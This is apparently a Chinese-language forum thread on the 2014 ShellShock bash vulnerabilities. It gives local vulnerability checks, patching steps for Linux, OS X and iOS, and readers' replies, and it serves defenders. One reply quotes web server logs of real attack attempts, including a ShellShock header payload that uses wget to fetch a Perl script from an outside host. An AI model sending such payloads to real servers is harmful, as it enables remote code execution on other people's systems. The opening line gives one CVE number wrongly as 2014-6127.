资料更新
CVE-2014-6127 的公开被视为 ShellShock，而这几天真是“余震”不断。非常遗憾的告诉大家，目前一共上报了 5 个相关的 Bug：
- CVE-2014-6127
- CVE-2014-7169
- CVE-2014-7186
- CVE-2014-7187
- CVE-2014-6277（细节尚未公开）
下面是一些相关资料：
- [ShellShock - Wikipedia 持续更新][1]
- https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt
- https://access.redhat.com/security/cve/CVE-2014-6271
- https://access.redhat.com/security/cve/CVE-2014-7169
- https://access.redhat.com/articles/1200223
关于 ShellShock：CVE-2014-6271
一个被指比“心脏出血”还要严重的 Linux 安全漏洞被发现，尽管还没有发现利用该漏洞进行的攻击，但是比“心脏出血”更低的操作门槛让它比前者更加危险。
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.
如何验证
在终端中运行下面的命令：
# CVE-2014-6271
$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'
# CVE-2014-7169
$ cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
其中：
- CVE-2014-6271：返回中含有 vulnerable 说明中枪。
- CVE-2014-7169：返回中含有类似 Sat Sep 27 03:58:41 CST 2014 这样的时间说明中枪。
把命令中的 bash 替换成其他类型的 shell，可以检查机器上其他 shell 是否中枪。
修复 Bug
- 不明觉厉的话，升级就对了。
GNU 官方补丁所在地址：http://seclists.org/oss-sec/2014/q3/650- OS X 下修复 Bug 的方法：http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271
- Linux 发行版：目前各大发行版都已经放出相应的升级包，请通过各自的包管理器安装最新版本的 bash。
- 越狱过的 iOS：用过 Cydia 更新。 # 没事不要乱 root、越狱。
【重要】用 Mac 的童鞋在更新后别忘了把旧的bash和sh取消运行权限：
# 根据实际路径及文件名
$ sudo chmod a-x /bin/bash.old /bin/sh.old
【重要】有人偷懒，用其他的 shell 去替换 bash，这样不靠谱，一是这样做就是自己给别人留后门，二是其他的 shell 也存在这样的 Bug。
感谢： @williamherry 最早贡献出 Bug 的应用实例 @Tony612 提醒新的 Bug 出现 https://ruby-china.org/topics/21742
不过这个是不完全修复，除了这个，还要注意CVE-2014-7169，但这个目前好像还没有好的 patch，有个 proposed 的 patch，应该之后打了这个就好了 https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa/+packages 具体可以参考 https://access.redhat.com/articles/1200223
209.126.230.72 - - [25/Sep/2014:08:31:21 +0800] "GET / HTTP/1.0" 200 4710 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
109.95.210.196 - - [26/Sep/2014:01:28:12 +0800] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 200 4710 "-" "() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=hepaimusic.com -O /tmp/a.pl\x22"
54.251.83.67 - - [26/Sep/2014:11:34:24 +0800] "GET / HTTP/1.1" 200 4710 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
我的服务器已经发现有人在扫了 第一行看起来没有恶意，第二行就看起来恶意满满的
#22 楼 @windstill 大概过程是这样的：
- 下载 Bash 源代码
- 下载相应版本的 Patch 并打上
- 编译并检验
- 替换系统内原有
bash和sh文件
相关命令在贴子里的 OS X 修复办法里有提到，只不过 Mac 上要用到xcodebuild，而 Linux 下应该先./configure再make吧。
【重要】有人偷懒，用其他的 shell 去替换 bash，这样不靠谱，一是这样做就是自己给别人留后门，二是其他的 shell 也存在这样的 Bug。
结论没问题，但第二点，“其他的 shell 也存在这样的 Bug”是怎么来的？
亲，更新一下你的帖子吧。。又有 CVE-2014-7186 和 CVE-2014-7187 了， http://en.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7186_vulnerability_details （贴成链接的话，格式会乱）。应该还是升级 bash 就行了
小题大做了，这里还有人用 CGI 么？另外，真有用 CGI 的你们有用 bash 写 CGI 么？ Dhclient 的问题大些，但是现在有几个人用这个呢？服务器一般是固定地址，就算是用 dhcp 的也多数在用 NetworkManager，而且很多系统的缺省 sh 早都是 dash 了，bash 只不过是个交互的 shell。
苹果称 Bash 漏洞对绝大多数 Mac 电脑没有影响
苹果发言人比尔·埃文斯 (Bill Evans) 表示：“绝大多数 OS X 用户不会处于风险中。”他表示，苹果既然出货了电脑，那么“默认情况下就是安全的”，意味着不会易于受到远程攻击，除非用户自己将设备配置成“高级”Unix 服务。
